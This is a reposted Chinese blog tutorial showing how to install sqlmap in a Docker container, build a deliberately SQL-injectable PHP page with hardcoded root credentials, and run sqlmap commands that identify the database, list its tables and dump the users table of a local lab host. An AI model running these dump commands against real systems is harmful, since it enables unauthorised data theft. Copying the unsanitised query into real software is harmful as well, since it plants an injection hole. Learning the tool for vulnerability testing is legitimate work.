如何使用SQL注入工具?

前言

今天来讲讲SQL注入工具,sqlmap。如何使用它来一步步爆库。

sqlmap官方地址如下。

sqlmap: automatic SQL injection and database takeover tool

前期准备,需要先安装好docker、docker-compose。

一个运行的后端服务,用于写一个存在SQL注入的请求。

如何使用docker部署php服务-CSDN博客

一、安装sqlmap

1、使用alpine镜像启动一个容器,执行如下命令。

docker run -it alpine sh

2、下载sqlmap安装包,执行如下命令。

wget https://github.com/sqlmapproject/sqlmap/tarball/master
tar -zxvf master

3、安装python,执行如下命令。

apk add --no-cache python3 py3-pip

4、检查sqlmap是否可以使用,执行如下命令。

python3 sqlmap.py --version

正常情况会返回如下内容。

5、至此sqlmap已准备就绪。

二、编写测试项目

1、写一个存在注入的请求,代码如下。

vim sql.php
<?php
try {// 创建 PDO 实例$pdo = new PDO('mysql:host=mysql-master;dbname=mydb', 'root', '123456.');// 设置 PDO 错误模式为异常$pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);// 连接成功,执行数据库操作echo "连接成功!";// 示例:执行查询$id = $_GET['id'];$stmt = $pdo->query("SELECT * FROM users WHERE id = '${id}'");while ($row = $stmt->fetch(PDO::FETCH_ASSOC)) {// 处理查询结果print_r($row);}// 关闭连接$pdo = null;
} catch (PDOException $e) {// 连接失败,处理异常die("连接失败: " . $e->getMessage());
}

三、测试验证

1、尝试SQL注入,执行如下命令。

python3 sqlmap.py -u "http://test1/sql.php?id=1"

返回如下内容说明有很多注入点。

2、获取当前数据库,执行如下命令。

python3 sqlmap.py -u "http://test1/sql.php?id=1" --current-db

如上图所示,说明注入成功并且获取到当前数据库为mydb

3、获取mydb有哪些表,执行如下命令。

python3 sqlmap.py -u "http://test1/sql.php?id=1" --tables -D mydb

如上图所示,mydb数据库有一张users表。

4、获取users表数据,执行如下命令。

python3 sqlmap.py -u "http://test1/sql.php?id=1" --dump -D mydb -T users

如上图所示,成功获取users表数据,从结果中可以看到有3条数据。

5、至此基本的SQL注入操作已讲解完成,更多的命令可以查询帮助。

python3 sqlmap.py --help

总结

今天讲了下如何通过sqlmap获取服务的数据库、表以及表数据等操作。前提是这个服务存在SQL注入的漏洞。

了解这个工具也能很好的帮助我们以验证服务是否存在SQL注入漏洞。

最后本人能力有限,还有许多不足之处还望多多指教,谢谢。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/614640.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

观察者模式:实现高效事件驱动编程的策略

在软件开发中&#xff0c;观察者模式是一种关键的行为型设计模式&#xff0c;用于建立对象间的一种依赖关系&#xff0c;使得当一个对象改变状态时&#xff0c;所有依赖于它的对象都会得到通知并被自动更新。这种模式是事件监听和响应编程的基石。本文将详细介绍观察者模式的定…

2024年妈妈杯数学建模C题思路分析-物流网络分拣中心货量预测及人员排班

# 1 赛题 C 题 物流网络分拣中心货量预测及人员排班 电商物流网络在订单履约中由多个环节组成&#xff0c;图 ’ 是一个简化的物流 网络示意图。其中&#xff0c;分拣中心作为网络的中间环节&#xff0c;需要将包裹按照不同 流向进行分拣并发往下一个场地&#xff0c;最终使包裹…

洛谷题单 -- 图论的简单入门

B3643 图的存储 链接 : 图的存储 - 洛谷 思路 : 这一题要考察图的存储方式 , 一般可以使用邻接矩阵 或 邻接表来存储 图的结点 和1 边的信息 &#xff0c;详情请看代码 : 代码 #include<bits/stdc.h> using namespace std;const int N 1010 ; int n , m ; int …

未佩戴厨师帽识别检测 厨房管理系统 自动监测未佩戴厨师帽行为 实时报警

在厨房环境中&#xff0c;佩戴厨师帽对于食品安全和卫生至关重要。厨师帽能够有效地防止头发、皮屑等杂质掉入食物中&#xff0c;减少了食品受到污染的可能性&#xff0c;从而保障了食品安全。特别是在学校、餐厅等场景中&#xff0c;对于未佩戴厨师帽的检测更是必不可少。相关…

elementui中el-select下拉列表偏移问题

问题截图 解决方法 在el-select中添加:popper-append-to-body"false"即可 加完后的效果

kanzi API案例

背景&#xff1a;kanzi的帮助文档都是api简单含义&#xff0c;很少有案例的说明。每一次使用API都是一个摸索的过程。记录一下用到的API案例。 1. 按钮事件 界面有一个按钮&#xff0c;点击后C处理对应的事件 void MyKanzi::onProjectLoaded() { Button2DSharedPtr button2D_…

IP地址修改步骤详解

IP地址是网络设备在网络中的标识&#xff0c;它决定了设备在网络中的位置与可访问性。然而&#xff0c;在某些情况下&#xff0c;我们可能需要修改IP地址&#xff0c;以满足特定的网络需求或解决网络问题。虎观代理将详细介绍IP地址的修改步骤&#xff0c;帮助读者更好地理解和…

python爬虫-------urllib代理和代理池(第十七天)

&#x1f388;&#x1f388;作者主页&#xff1a; 喔的嘛呀&#x1f388;&#x1f388; &#x1f388;&#x1f388;所属专栏&#xff1a;python爬虫学习&#x1f388;&#x1f388; ✨✨谢谢大家捧场&#xff0c;祝屏幕前的小伙伴们每天都有好运相伴左右&#xff0c;一定要天天…

MongoDB爬虫:(某扑)实战

https://bbs.hupu.com/bxj网页地址: https://bbs.hupu.com/bxj 然后我们在网页上定义帖子名称、帖子链接、创建时间、回复数、最后回复用户...... 除此之外,我们发现虎扑步行街最多显示的页数(20): 、 当我们打开第3页的时候,网页的URL的地址变为了:https://bbs.hupu.…

python入门(一)配置环境和选择IDE

Python&#xff0c;作为一种简洁易懂的编程语言&#xff0c;近年来在全球范围内受到了广泛的关注和追捧。它不仅语法简单明了&#xff0c;易于上手&#xff0c;而且拥有强大的第三方库和广泛的应用领域。从数据分析、机器学习到Web开发&#xff0c;Python都能发挥出色的性能&am…

MySQL-进阶篇-基础架构:一条sql语句是如何执行的

摘自&#xff1a;01 | 基础架构&#xff1a;一条SQL查询语句是如何执行的&#xff1f;-MySQL实战45讲-极客时间 视频讲解&#xff1a;7分钟精通MySql中SQL执行原理_哔哩哔哩_bilibili 可结合学习&#xff0c;本文仅记录SQL语句的执行流程&#xff0c;以上内容有一些额外知识未…

自动化测试selenium(2)

目录 WebDriver介绍 WebDriver使用 使用WebDriver驱动操作浏览器(打开一个百度) WebDriver 相关API 定位元素 操作元素 上一篇主要介绍了自动化测试的概念以及selenium的基本原理, 这里我们来讲一下如何利用selenium来写测试用的脚本. WebDriver介绍 Selenium是一个用于…